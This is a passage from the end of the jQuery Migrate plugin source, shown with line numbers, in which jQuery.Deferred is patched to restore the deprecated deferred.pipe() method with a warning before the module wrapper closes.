963 jQuery.Callbacks( "once memory" ), "rejected" ],
964 [ "notify", "progress", jQuery.Callbacks( "memory" ),
965 jQuery.Callbacks( "memory" ) ]
966 ];
967
968migratePatchFunc( jQuery, "Deferred", function( func ) {
969 var deferred = oldDeferred(),
970 promise = deferred.promise();
971
972 function newDeferredPipe( /* fnDone, fnFail, fnProgress */ ) {
973 var fns = arguments;
974
975 return jQuery.Deferred( function( newDefer ) {
976 jQuery.each( tuples, function( i, tuple ) {
977 var fn = typeof fns[ i ] === "function" && fns[ i ];
978
979 // Deferred.done(function() { bind to newDefer or newDefer.resolve })
980 // deferred.fail(function() { bind to newDefer or newDefer.reject })
981 // deferred.progress(function() { bind to newDefer or newDefer.notify })
982 deferred[ tuple[ 1 ] ]( function() {
983 var returned = fn && fn.apply( this, arguments );
984 if ( returned && typeof returned.promise === "function" ) {
985 returned.promise()
986 .done( newDefer.resolve )
987 .fail( newDefer.reject )
988 .progress( newDefer.notify );
989 } else {
990 newDefer[ tuple[ 0 ] + "With" ](
991 this === promise ? newDefer.promise() : this,
992 fn ? [ returned ] : arguments
993 );
994 }
995 } );
996 } );
997 fns = null;
998 } ).promise();
999 }
1000
1001 migratePatchAndWarnFunc( deferred, "pipe", newDeferredPipe, "deferred-pipe",
1002 "deferred.pipe() is deprecated" );
1003 migratePatchAndWarnFunc( promise, "pipe", newDeferredPipe, "deferred-pipe",
1004 "deferred.pipe() is deprecated" );
1005
1006 if ( func ) {
1007 func.call( deferred, deferred );
1008 }
1009
1010 return deferred;
1011}, "deferred-pipe" );
1012
1013// Preserve handler of uncaught exceptions in promise chains
1014jQuery.Deferred.exceptionHook = oldDeferred.exceptionHook;
1015
1016}
1017
1018return jQuery;
1019} );
1020